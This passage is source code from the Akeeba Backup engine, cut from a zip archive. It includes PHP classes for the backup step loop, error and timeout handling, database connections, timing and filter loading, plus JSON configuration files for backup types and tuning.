				 * Dump object to tick. However the latter fails again to connect to MySQL and the whole process is
				 * repeated ad nauseam. By rethrowing the propagated ErrorException we alleviate this problem.
				 */
				if ($hasErrorException)
				{
					throw $result['ErrorException'];
				}

				$logger->debug('Kettenrad :: Domain object returned without errors; propagating');
			}
			catch (Exception $e)
			{
				/**
				 * Exceptions are used to propagate error conditions through the engine. Catching them and storing them
				 * in $this->lastException lets us detect and report the error condition in Kettenrad, the integration-
				 * facing interface of the backup engine.
				 */
				$this->lastException = $e;

				$logger->debug('Kettenrad :: Domain object returned with errors; propagating');

				self::logErrorsFromException($this->lastException);

				$this->setState(self::STATE_ERROR);
			}

			// Advance operation counter
			$currentOperationNumber = $registry->get('volatile.operation_counter', 0);
			$currentOperationNumber++;
			$registry->set('volatile.operation_counter', $currentOperationNumber);

			// Process return array
			$this->setDomain($this->domain);
			$this->setStep($result['Step']);
			$this->setSubstep($result['Substep']);

			// Check for BREAKFLAG
			$breakFlag = $registry->get('volatile.breakflag', false);
			$logger->debug("Kettenrad :: Break flag status: " . ($breakFlag ? 'YES' : 'no'));

			// Process errors
			$error = $this->getState() === self::STATE_ERROR;

			// Check if the backup procedure should finish now
			$finished = $error ? true : !($result['HasRun']);

			// Log operation end
			$logger->debug('----- Finished operation ' . $currentOperationNumber . ' ------');
		}

		// Log the result
		$objectStepType = is_object($object) ? get_class($object) : 'INVALID OBJECT';

		if (!is_object($object))
		{
			$reason = ($timer->getTimeLeft() <= 0)
				? 'we already ran out of time'
				: 'a step break has already been requested';
			$logger->debug(
				sprintf(
					"Finishing step immediately because %s", $reason
				)
			);
		}
		elseif (!$error)
		{
			$logger->debug("Successful Smart algorithm on " . $objectStepType);
		}
		else
		{
			$logger->error("Failed Smart algorithm on " . $objectStepType);
		}

		// Log if we have to do more work or not
		/**
		 * The domain object is not set in the following cases:
		 *
		 * - There is no time left, the while loop never ran.
		 * - The break flag was already set, the while loop never ran.
		 * - We are already finished, the while loop never ran. Shouldn't happen, the step status is set to POSTRUN.
		 * - There was an error, the while loop never ran. Shouldn't happen, we return immediately upon an error.
		 * - We tried to go to the next domain but something went wrong. Shouldn't happen.
		 *
		 * If we get to a condition that shouldn't happen we will throw a Runtime exception. In any other case we let
		 * the step finish.
		 */
		if (!is_object($object) && ($timer->getTimeLeft() > 0) && !$breakFlag)
		{
			throw new RuntimeException(
				sprintf(
					"Kettenrad :: Empty object found when processing domain '%s'. This should never happen.",
					$this->domain
				)
			);
		}
		/** @noinspection PhpStatementHasEmptyBodyInspection */
		elseif (!is_object($object))
		{
			// This is an expected case.
			// I have to use an empty case because $object->getState() below would cause a PHP error on a NULL variable.
		}
		elseif ($object->getState() == self::STATE_RUNNING)
		{
			$logger->debug("Kettenrad :: More work required in domain '" . $this->domain . "'");
			// We need to set the break flag for the part processing to not batch successive steps
			$registry->set('volatile.breakflag', true);
		}
		elseif ($object->getState() == self::STATE_FINISHED)
		{
			$logger->debug("Kettenrad :: Domain '" . $this->domain . "' has finished.");
			$registry->set('volatile.breakflag', false);
		}
		elseif ($object->getState() == self::STATE_ERROR)
		{
			$logger->debug("Kettenrad :: Domain '" . $this->domain . "' has experienced an error.");
			$registry->set('volatile.breakflag', false);
		}

		// Log step end
		$logger->debug('====== Finished Step number ' . $stepCounter . ' ======');

		// Update statistics, marking the backup as having just finished processing a backup step.
		Factory::getStatistics()->updateInStep(false);

		if (!$registry->get('akeeba.tuning.nobreak.domains', 0))
		{
			// Force break between steps
			$logger->debug('Kettenrad :: Setting the break flag between domains');
			$registry->set('volatile.breakflag', true);
		}
	}

	/**
	 * Returns the tag used to open the correct log file
	 *
	 * @return string
	 */
	protected function getLogTag()
	{
		$tag = $this->getTag();

		if (!empty($this->backup_id))
		{
			$tag .= '.' . $this->backup_id;
		}

		return $tag;
	}
}

/**
 * Timeout error handler
 */
function akeebaEnginePHPTimeoutHandler()
{
	if (connection_status() == 1)
	{
		Factory::getLog()->error('The process was aborted on user\'s request');

		return;
	}

	if (connection_status() >= 2)
	{
		Factory::getLog()->error('Akeeba Backup has timed out. Please read the documentation.');

		return;
	}
}

// Register the timeout error handler
if (!Kettenrad::$registeredShutdownCallback)
{
	Kettenrad::$registeredShutdownCallback = true;

	register_shutdown_function("\\Akeeba\\Engine\\Core\\akeebaEnginePHPTimeoutHandler");
}

/**
 * Custom PHP error handler to log catchable PHP errors to the backup log file
 *
 * @param   int     $errno
 * @param   string  $errstr
 * @param   string  $errfile
 * @param   int     $errline
 *
 * @return bool|null
 */
function akeebaEngineErrorHandler($errno, $errstr, $errfile, $errline)
{
	// Sanity check
	if (!function_exists('error_reporting'))
	{
		return false;
	}

	/**
	 * Special consideration: Joomla.
	 *
	 * Joomla logs a crapton of user deprecated notices **from its own core code**. If we have a user deprecated notice
	 * in Joomla and the source file does not look like it is part of our software, we will not log it.
	 */
	$realFile = realpath($errfile);
	$realLibs = defined('JPATH_LIBRARIES') ? realpath(JPATH_LIBRARIES) : null;

	if (defined('_JEXEC')
	    && $errno === E_USER_DEPRECATED
	    && !empty($realLibs)
	    && !empty($realFile)
	    && str_starts_with($realFile, $realLibs)
	)
	{
		return false;
	}

	// Do not proceed if the error springs from an @function() construct, or if
	// the overall error reporting level is set to report no errors.
	$error_reporting = error_reporting();

	if ($error_reporting == 0)
	{
		return false;
	}

	$loggable = false;
	$type     = '';
	$logMode  = 'debug';

	switch ($errno)
	{
		case E_ERROR:
		case E_USER_ERROR:
		case E_RECOVERABLE_ERROR:
			/**
			 * This will only work for E_RECOVERABLE_ERROR and E_USER_ERROR, not E_ERROR. In PHP 7+ all errors throw an
			 * Error throwable (a special kind of exception) which propagates nicely within our architecture.
			 */
			Factory::getLog()->error("PHP FATAL ERROR on line $errline in file $errfile:");
			Factory::getLog()->error($errstr);
			Factory::getLog()->error("Execution aborted due to PHP fatal error");
			break;

		case E_WARNING:
			$loggable = true;
			$type     = 'WARNING';
			$logMode  = defined('AKEEBADEBUG') ? 'warning' : 'debug';

			break;

		case E_USER_WARNING:
			$loggable = defined('AKEEBADEBUG');
			$type     = 'User Warning';
			break;

		case E_NOTICE:
			$loggable = defined('AKEEBADEBUG');
			$type     = 'Notice';
			break;

		case E_USER_NOTICE:
			$loggable = defined('AKEEBADEBUG');
			$type     = 'User Notice';
			break;

		case E_DEPRECATED:
			$loggable = defined('AKEEBADEBUG');
			$type     = 'Deprecated';
			break;

		case E_USER_DEPRECATED:
			$loggable = defined('AKEEBADEBUG');
			$type     = 'User Deprecated';
			break;

		case E_STRICT:
			$loggable = defined('AKEEBADEBUG');
			$type     = 'Strict Notice';
			break;

		default:
			// Anything other. Let PHP handle it.
			return false;

			break;
	}

	if ($loggable)
	{
		Factory::getLog()->{$logMode}(
			sprintf("PHP %s (not an error; you can ignore) on line %s in file %s:", $type, $errline, $realFile)
		);
		Factory::getLog()->{$logMode}($errstr);
	}

	// Uncomment to prevent the execution of PHP's internal error handler
	//return true;

	// Let PHP's internal error handler take care of the error.
	return false;
}
PK     \N    /  vendor/akeeba/engine/engine/Core/scripting.jsonnu [        {
    "volatile.akeebaengine.domains": "init|installer|packdb|packing|finale",
    "volatile.akeebaengine.scripts": "full|dbonly|fileonly|alldb|incfile|incfull",

    "volatile.domain.init.domain": "init",
    "volatile.domain.init.class": "Init",
    "volatile.domain.init.text": "COM_AKEEBA_BACKUP_LABEL_DOMAIN_INIT",

    "volatile.domain.installer.domain": "installer",
    "volatile.domain.installer.class": "Installer",
    "volatile.domain.installer.text": "COM_AKEEBA_BACKUP_LABEL_DOMAIN_INSTALLER",

    "volatile.domain.packdb.domain": "PackDB",
    "volatile.domain.packdb.class": "Db",
    "volatile.domain.packdb.text": "COM_AKEEBA_BACKUP_LABEL_DOMAIN_PACKDB",

    "volatile.domain.packing.domain": "Packing",
    "volatile.domain.packing.class": "Pack",
    "volatile.domain.packing.text": "COM_AKEEBA_BACKUP_LABEL_DOMAIN_PACKING",

    "volatile.domain.finale.domain": "finale",
    "volatile.domain.finale.class": "Finalization",
    "volatile.domain.finale.text": "COM_AKEEBA_BACKUP_LABEL_DOMAIN_FINISHED",

    "volatile.scripting.full.chain": "init|installer|packdb|packing|finale",
    "volatile.scripting.full.text": "COM_AKEEBA_CONFIG_BACKUPTYPE_FULL",
    "volatile.scripting.full.db.saveasname": "normal",
    "volatile.scripting.full.db.databasesini": "1",
    "volatile.scripting.full.db.skipextradb": "0",
    "volatile.scripting.full.db.abstractnames": "1",
    "volatile.scripting.full.db.dropstatements": "0",
    "volatile.scripting.full.db.delimiterstatements": "0",
    "volatile.scripting.full.core.createarchive": "1",

    "volatile.scripting.dbonly.chain": "init|packdb|finale",
    "volatile.scripting.dbonly.text": "COM_AKEEBA_CONFIG_BACKUPTYPE_DBONLY",
    "volatile.scripting.dbonly.db.saveasname": "output",
    "volatile.scripting.dbonly.db.databasesini": "0",
    "volatile.scripting.dbonly.db.skipextradb": "1",
    "volatile.scripting.dbonly.db.abstractnames": "0",
    "volatile.scripting.dbonly.db.dropstatements": "1",
    "volatile.scripting.dbonly.db.delimiterstatements": "1",
    "volatile.scripting.dbonly.core.forceextension": ".sql",
    "volatile.scripting.dbonly.core.createarchive": "0",

    "volatile.scripting.fileonly.chain": "init|packing|finale",
    "volatile.scripting.fileonly.text": "COM_AKEEBA_CONFIG_BACKUPTYPE_FILEONLY",
    "volatile.scripting.fileonly.core.createarchive": "1",

    "volatile.scripting.alldb.chain": "init|installer|packdb|finale",
    "volatile.scripting.alldb.text": "COM_AKEEBA_CONFIG_BACKUPTYPE_ALLDB",
    "volatile.scripting.alldb.db.tempfile": "temporary",
    "volatile.scripting.alldb.db.saveasname": "normal",
    "volatile.scripting.alldb.db.databasesini": "1",
    "volatile.scripting.alldb.db.skipextradb": "0",
    "volatile.scripting.alldb.db.abstractnames": "1",
    "volatile.scripting.alldb.db.dropstatements": "0",
    "volatile.scripting.alldb.db.delimiterstatements": "0",
    "volatile.scripting.alldb.db.finalizearchive": "1",
    "volatile.scripting.alldb.core.createarchive": "1",

    "volatile.scripting.incfile.chain": "init|packing|finale",
    "volatile.scripting.incfile.text": "COM_AKEEBA_CONFIG_BACKUPTYPE_INCFILE",
    "volatile.scripting.incfile.filter.incremental": "1",

    "volatile.scripting.incfull.chain": "init|installer|packdb|packing|finale",
    "volatile.scripting.incfull.text": "COM_AKEEBA_CONFIG_BACKUPTYPE_INCFULL",
    "volatile.scripting.incfull.db.saveasname": "normal",
    "volatile.scripting.incfull.db.databasesini": "1",
    "volatile.scripting.incfull.db.skipextradb": "0",
    "volatile.scripting.incfull.db.abstractnames": "1",
    "volatile.scripting.incfull.db.dropstatements": "0",
    "volatile.scripting.incfull.db.delimiterstatements": "0",
    "volatile.scripting.incfull.core.createarchive": "1",
    "volatile.scripting.incfull.filter.incremental": "1"
}PK     \J  J  -  vendor/akeeba/engine/engine/Core/Database.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Base as DriverBase;
use Akeeba\Engine\Driver\Mysqli;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\HashTrait;

/**
 * A utility class to return a database connection object
 */
class Database
{
	use HashTrait;

	private static $instances = [];

	/**
	 * Returns a database connection object. It caches the created objects for future use.
	 *
	 * @param   array  $options  The database driver connection options
	 *
	 * @return  DriverBase|object  A DriverBase object or something with magic methods that's compatible with it
	 */
	public static function &getDatabase(array $options)
	{
		// Get the options signature.
		$signature = self::md5(serialize($options));

		// If there's a cached object return it.
		if (!empty(self::$instances[$signature]))
		{
			return self::$instances[$signature];
		}

		// Get the driver name / class
		$driver = preg_replace('/[^A-Z0-9_\\\.-]/i', '', $options['driver'] ?? '');

		// If there is no driver specified ask the Platform to guess it.
		if (empty($driver))
		{
			$default_signature = self::md5(serialize(Platform::getInstance()->get_platform_database_options()));
			$driver            = Platform::getInstance()->get_default_database_driver($signature === $default_signature);
		}

		// Ensure we have the FQN of the driver class
		if ((substr($driver, 0, 7) != '\\Akeeba') && substr($driver, 0, 7) != 'Akeeba\\')
		{
			$driver = '\\Akeeba\\Engine\\Driver\\' . ucfirst($driver);
		}

		// Map the legacy MySQL driver to the newer MySQLi
		if (($driver == '\\Akeeba\\Engine\\Driver\\Mysql') && !function_exists('mysql_connect'))
		{
			$driver = Mysqli::class;
		}

		// Translate MySQL SSL options
		if (!isset($options['ssl']) || !is_array($options['ssl']))
		{
			$options['ssl'] = [
				'enable'             => (bool) ($options['dbencryption'] ?? false),
				'cipher'             => ($options['dbsslcipher'] ?? '') ?: '',
				'ca'                 => ($options['dbsslca'] ?? '') ?: '',
				'capath'             => ($options['dbsslcapath'] ?? '') ?: '',
				'key'                => ($options['dbsslkey'] ?? '') ?: '',
				'cert'               => ($options['dbsslcert'] ?? '') ?: '',
				'verify_server_cert' => ($options['dbsslverifyservercert'] ?? false) ?: false,
			];
		}

		// Instantiate the database driver object and return it
		self::$instances[$signature] = new $driver($options);

		return self::$instances[$signature];
	}

	/**
	 * Un-cache a database driver object
	 *
	 * @param   array  $options  The database driver connection options
	 *
	 * @return  void
	 */
	public static function unsetDatabase(array $options): void
	{
		$signature = self::md5(serialize($options));

		if (!isset(self::$instances[$signature]))
		{
			return;
		}

		unset(self::$instances[$signature]);
	}
}
PK     \~;ӟ    *  vendor/akeeba/engine/engine/Core/Timer.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;

/**
 * Timer class
 */
class Timer
{

	/** @var float Maximum execution time allowance per step */
	private $max_exec_time = null;

	/** @var int Timestamp of execution start */
	private $start_time = null;

	/**
	 * Public constructor, creates the timer object and calculates the execution time limits
	 *
	 * @param   int|null  $maxExecTime  Maximum execution time, in seconds (minimum 1 second)
	 * @param   int|null  $bias         Execution time bias, in percentage points (10-100)
	 */
	public function __construct(?int $maxExecTime = null, ?int $bias = null)
	{
		// Initialize start time
		$this->start_time = $this->microtime_float();

		// Make sure we have max execution time and execution time bias or use the ones configured in the backup profile
		$configuration = Factory::getConfiguration();
		$maxExecTime   = $maxExecTime ?? (int) $configuration->get('akeeba.tuning.max_exec_time', 14);
		$bias          = $bias ?? (int) $configuration->get('akeeba.tuning.run_time_bias', 75);

		// Make sure both max exec time and bias are positive integers within the allowed range of values
		$maxExecTime = max(1, $maxExecTime);
		$bias        = min(100, max(10, $bias));

		$this->max_exec_time = $maxExecTime * $bias / 100;
	}

	/**
	 * Wake-up function to reset internal timer when we get unserialized
	 */
	public function __wakeup()
	{
		// Re-initialize start time on wake-up
		$this->start_time = $this->microtime_float();
	}

	/**
	 * Gets the number of seconds left, before we hit the "must break" threshold
	 *
	 * @return  float
	 */
	public function getTimeLeft()
	{
		return $this->max_exec_time - $this->getRunningTime();
	}

	/**
	 * Gets the time elapsed since object creation/unserialization, effectively how
	 * long Akeeba Engine has been processing data
	 *
	 * @return float
	 */
	public function getRunningTime()
	{
		return $this->microtime_float() - $this->start_time;
	}

	/**
	 * Enforce the minimum execution time
	 *
	 * @param   bool  $log              Should I log what I'm doing? Default is true.
	 * @param   bool  $serverSideSleep  Should I sleep on the server side? If false we return the amount of time to
	 *                                  wait in msec
	 *
	 * @return  int Wait time to reach min_execution_time in msec
	 */
	public function enforce_min_exec_time($log = true, $serverSideSleep = true)
	{
		// Try to get a sane value for PHP's maximum_execution_time INI parameter
		if (@function_exists('ini_get'))
		{
			$php_max_exec = @ini_get("maximum_execution_time");
		}
		else
		{
			$php_max_exec = 10;
		}
		if (($php_max_exec == "") || ($php_max_exec == 0))
		{
			$php_max_exec = 10;
		}
		// Decrease $php_max_exec time by 500 msec we need (approx.) to tear down
		// the application, as well as another 500msec added for rounding
		// error purposes. Also make sure this is never gonna be less than 0.
		$php_max_exec = max($php_max_exec * 1000 - 1000, 0);

		// Get the "minimum execution time per step" Akeeba Backup configuration variable
		$configuration = Factory::getConfiguration();
		$minexectime   = $configuration->get('akeeba.tuning.min_exec_time', 0);
		if (!is_numeric($minexectime))
		{
			$minexectime = 0;
		}

		// Make sure we are not over PHP's time limit!
		if ($minexectime > $php_max_exec)
		{
			$minexectime = $php_max_exec;
		}

		// Get current running time
		$elapsed_time = $this->getRunningTime() * 1000;

		$clientSideSleep = 0;

		// Only run a sleep delay if we haven't reached the minexectime execution time
		if (($minexectime > $elapsed_time) && ($elapsed_time > 0))
		{
			$sleep_msec = (int)($minexectime - $elapsed_time);

			if (!$serverSideSleep)
			{
				Factory::getLog()->debug("Asking client to sleep for $sleep_msec msec");
				$clientSideSleep = $sleep_msec;
			}
			elseif (function_exists('usleep'))
			{
				if ($log)
				{
					Factory::getLog()->debug("Sleeping for $sleep_msec msec, using usleep()");
				}
				usleep(1000 * $sleep_msec);
			}
			elseif (function_exists('time_nanosleep'))
			{
				if ($log)
				{
					Factory::getLog()->debug("Sleeping for $sleep_msec msec, using time_nanosleep()");
				}
				$sleep_sec  = floor($sleep_msec / 1000);
				$sleep_nsec = 1000000 * ($sleep_msec - ($sleep_sec * 1000));
				time_nanosleep($sleep_sec, $sleep_nsec);
			}
			elseif (function_exists('time_sleep_until'))
			{
				if ($log)
				{
					Factory::getLog()->debug("Sleeping for $sleep_msec msec, using time_sleep_until()");
				}
				$until_timestamp = time() + $sleep_msec / 1000;
				time_sleep_until($until_timestamp);
			}
			elseif (function_exists('sleep'))
			{
				$sleep_sec = ceil($sleep_msec / 1000);
				if ($log)
				{
					Factory::getLog()->debug("Sleeping for $sleep_sec seconds, using sleep()");
				}
				sleep($sleep_sec);
			}
		}
		elseif ($elapsed_time > 0)
		{
			// No sleep required, even if user configured us to be able to do so.
			if ($log)
			{
				Factory::getLog()->debug("No need to sleep; execution time: $elapsed_time msec; min. exec. time: $minexectime msec");
			}
		}

		return $clientSideSleep;
	}

	/**
	 * Reset the timer. It should only be used in CLI mode!
	 */
	public function resetTime()
	{
		$this->start_time = $this->microtime_float();
	}

	/**
	 * Returns the current timestamp in decimal seconds
	 */
	protected function microtime_float()
	{
		[$usec, $sec] = explode(" ", microtime());

		return ((float) $usec + (float) $sec);
	}
}
PK     \y    /  vendor/akeeba/engine/engine/Core/05.tuning.jsonnu [        {
    "_group": {
        "description": "COM_AKEEBA_CONFIG_HEADER_TUNING"
    },
    "akeeba.tuning.min_exec_time": {
        "default": "2000",
        "type": "integer",
        "min": "0",
        "max": "20000",
        "shortcuts": "0|250|500|1000|2000|3000|4000|5000|7500|10000|15000|20000",
        "scale": "1000",
        "uom": "s",
        "title": "COM_AKEEBA_CONFIG_MINEXECTIME_TITLE",
        "description": "COM_AKEEBA_CONFIG_MINEXECTIME_DESCRIPTION"
    },
    "akeeba.tuning.max_exec_time": {
        "default": "14",
        "type": "integer",
        "min": "0",
        "max": "180",
        "shortcuts": "1|2|3|5|7|10|14|15|20|23|25|30|45|60|90|120|180",
        "scale": "1",
        "uom": "s",
        "title": "COM_AKEEBA_CONFIG_MAXEXECTIME_TITLE",
        "description": "COM_AKEEBA_CONFIG_MAXEXECTIME_DESCRIPTION"
    },
    "akeeba.tuning.run_time_bias": {
        "default": "75",
        "type": "integer",
        "min": "10",
        "max": "100",
        "shortcuts": "10|20|25|30|40|50|60|75|80|90|100",
        "scale": "1",
        "uom": "%",
        "title": "COM_AKEEBA_CONFIG_RUNTIMEBIAS_TITLE",
        "description": "COM_AKEEBA_CONFIG_RUNTIMEBIAS_DESCRIPTION"
    },
    "akeeba.advanced.autoresume": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_AUTORESUME_TITLE",
        "description": "COM_AKEEBA_CONFIG_AUTORESUME_DESCRIPTION"
    },
    "akeeba.advanced.autoresume_timeout": {
        "default": "10",
        "type": "integer",
        "min": "1",
        "max": "36000",
        "scale": "1",
        "uom": "s",
        "shortcuts": "3|5|10|15|20|30|45|60|90|120|300|600|900|1800|3600",
        "title": "COM_AKEEBA_CONFIG_AUTORESUME_TIMEOUT_TITLE",
        "description": "COM_AKEEBA_CONFIG_AUTORESUME_TIMEOUT_DESCRIPTION",
        "showon": "akeeba.advanced.autoresume:1"
    },
    "akeeba.advanced.autoresume_maxretries": {
        "default": "3",
        "type": "integer",
        "min": "1",
        "max": "1000",
        "scale": "1",
        "shortcuts": "1|3|5|7|10|15|20|30|50|100",
        "title": "COM_AKEEBA_CONFIG_AUTORESUME_MAXRETRIES_TITLE",
        "description": "COM_AKEEBA_CONFIG_AUTORESUME_MAXRETRIES_DESCRIPTION",
        "showon": "akeeba.advanced.autoresume:1"
    },
    "akeeba.tuning.nobreak.beforelargefile": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.tuning.nobreak.afterlargefile": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.tuning.nobreak.proactive": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.tuning.nobreak.domains": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.tuning.nobreak.finalization": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.tuning.settimelimit": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_ADVANCED_SETTIMELIMIT_LABEL",
        "description": "COM_AKEEBA_CONFIG_ADVANCED_SETTIMELIMIT_DESC"
    },
    "akeeba.tuning.setmemlimit": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_ADVANCED_SETMEMLIMIT_LABEL",
        "description": "COM_AKEEBA_CONFIG_ADVANCED_SETMEMLIMIT_DESC"
    }
}PK     \3    .  vendor/akeeba/engine/engine/Core/01.basic.jsonnu [        {
    "_group": {
        "description": "COM_AKEEBA_CONFIG_HEADER_BASIC"
    },
    "akeeba.basic.output_directory": {
        "default": "[DEFAULT_OUTPUT]",
        "type": "browsedir",
        "title": "COM_AKEEBA_CONFIG_OUTDIR_TITLE",
        "description": "COM_AKEEBA_CONFIG_OUTDIR_DESCRIPTION"
    },
    "akeeba.basic.log_level": {
        "default": "4",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_LOGLEVEL_NONE|COM_AKEEBA_CONFIG_LOGLEVEL_WARNING|COM_AKEEBA_CONFIG_LOGLEVEL_DEBUG",
        "enumvalues": "0|2|4",
        "title": "COM_AKEEBA_CONFIG_LOGLEVEL_TITLE",
        "description": "COM_AKEEBA_CONFIG_LOGLEVEL_DESCRIPTION"
    },
    "akeeba.basic.archive_name": {
        "default": "site-[HOST]-[DATE]-[TIME_TZ]-[RANDOM]",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_ARCHIVENAME_TITLE",
        "description": "COM_AKEEBA_CONFIG_ARCHIVENAME_DESCRIPTION"
    },
    "akeeba.basic.backup_type": {
        "default": "full",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_BACKUPTYPE_FULL|COM_AKEEBA_CONFIG_BACKUPTYPE_DBONLY",
        "enumvalues": "full|dbonly",
        "title": "COM_AKEEBA_CONFIG_BACKUPTYPE_TITLE",
        "description": "COM_AKEEBA_CONFIG_BACKUPTYPE_DESCRIPTION"
    },
    "akeeba.basic.clientsidewait": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_CLIENTSIDEWAIT_TITLE",
        "description": "COM_AKEEBA_CONFIG_CLIENTSIDEWAIT_DESCRIPTION"
    }
}PK     \-y|r*  r*  ,  vendor/akeeba/engine/engine/Core/Filters.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Filter\Base as FilterBase;
use Akeeba\Engine\Platform;
use DirectoryIterator;
use RuntimeException;

/**
 * Akeeba filtering feature
 */
class Filters
{
	/** @var array An array holding data for all defined filters */
	private $filter_registry = [];

	/** @var FilterBase[] Hash array with instances of all filters as $filter_name => filter_object */
	private $filters = [];

	/** @var bool True after the filter clean up has run */
	private $cleanup_has_run = false;

	/**
	 * Public constructor, loads filter data and filter classes
	 */
	public function __construct()
	{
		// Load filter data from platform's database
		Factory::getLog()->debug('Fetching filter data from database');
		$this->filter_registry = Platform::getInstance()->load_filters();

		// Load platform, plugin and core filters
		$this->filters = [];

		$locations = [
			Factory::getAkeebaRoot() . '/Filter',
		];

		$platform_paths = Platform::getInstance()->getPlatformDirectories();

		foreach ($platform_paths as $p)
		{
			$locations[] = $p . '/Filter';
		}

		Factory::getLog()->debug('Loading filters');

		foreach ($locations as $folder)
		{
			if (!@is_dir($folder))
			{
				continue;
			}

			if (!@is_readable($folder))
			{
				continue;
			}

			$di = new DirectoryIterator($folder);

			foreach ($di as $file)
			{
				if (!$file->isFile())
				{
					continue;
				}

				// PHP 5.3.5 and earlier do not support getExtension
				if ($file->getExtension() != 'php')
				{
					continue;
				}

				$filename = $file->getFilename();

				// Skip filter files starting with dot or dash
				if (in_array(substr($filename, 0, 1), ['.', '_']))
				{
					continue;
				}

				// Some hosts copy .json and .php files, renaming them (ie foobar.1.php)
				// We need to exclude them, otherwise we'll get a fatal error for declaring the same class twice
				$bare_name = $file->getBasename('.php');

				if (preg_match('/[^a-zA-Z0-9]/', $bare_name))
				{
					continue;
				}

				// Extract filter base name
				$filter_name = ucfirst($bare_name);

				// This is an abstract class; do not try to create instance
				if ($filter_name == 'Base')
				{
					continue;
				}

				// Skip already loaded filters
				if (array_key_exists($filter_name, $this->filters))
				{
					continue;
				}

				Factory::getLog()->debug('-- Loading filter ' . $filter_name);

				// Add the filter
				$this->filters[$filter_name] = Factory::getFilterObject($filter_name);
			}
		}

		// Load platform, plugin and core stacked filters
		$locations = [
			Factory::getAkeebaRoot() . '/Filter/Stack',
		];

		$platform_paths       = Platform::getInstance()->getPlatformDirectories();
		$platform_stack_paths = [];

		foreach ($platform_paths as $p)
		{
			$locations[]            = $p . '/Filter';
			$locations[]            = $p . '/Filter/Stack';
			$platform_stack_paths[] = $p . '/Filter/Stack';
		}

		$config = Factory::getConfiguration();
		Factory::getLog()->debug('Loading optional filters');

		foreach ($locations as $folder)
		{
			if (!@is_dir($folder))
			{
				continue;
			}

			if (!@is_readable($folder))
			{
				continue;
			}

			$di = new DirectoryIterator($folder);

			/** @var DirectoryIterator $file */
			foreach ($di as $file)
			{
				if (!$file->isFile())
				{
					continue;
				}

				// PHP 5.3.5 and earlier do not support getExtension
				// if ($file->getExtension() != 'php')
				if (substr($file->getBasename(), -4) != '.php')
				{
					continue;
				}

				// Some hosts copy .json and .php files, renaming them (ie foobar.1.php)
				// We need to exclude them, otherwise we'll get a fatal error for declaring the same class twice
				$bare_name = strtolower($file->getBasename('.php'));

				if (preg_match('/[^A-Za-z0-9]/', $bare_name))
				{
					continue;
				}

				// Extract filter base name
				if (substr($bare_name, 0, 5) == 'stack')
				{
					$bare_name = substr($bare_name, 5);
				}

				$filter_name = 'Stack\\Stack' . ucfirst($bare_name);

				// Skip already loaded filters
				if (array_key_exists($filter_name, $this->filters))
				{
					continue;
				}

				// Make sure the JSON file also exists
				if (!file_exists($folder . '/' . $bare_name . '.json'))
				{
					continue;
				}

				$key = "core.filters.$bare_name.enabled";

				if ($config->get($key, 0))
				{
					Factory::getLog()->debug('-- Loading optional filter ' . $filter_name);
					// Add the filter
					$this->filters[$filter_name] = Factory::getFilterObject($filter_name);
				}
			}
		}
	}

	/**
	 * Extended filtering information of a given object. Applies only to exclusion filters.
	 *
	 * @param   string|array  $test       The string to check for filter status (e.g. filename, dir name, table name,
	 *                                    etc)
	 * @param   string        $root       The exclusion root test belongs to
	 * @param   string        $object     What type of object is it? dir|file|dbobject
	 * @param   string        $subtype    Filter subtype (all|content|children)
	 * @param   string        $by_filter  [out] The filter name which first matched $test, or an empty string
	 *
	 * @return  bool  True if it is a filtered element
	 */
	public function isFilteredExtended($test, $root, $object, $subtype, &$by_filter)
	{
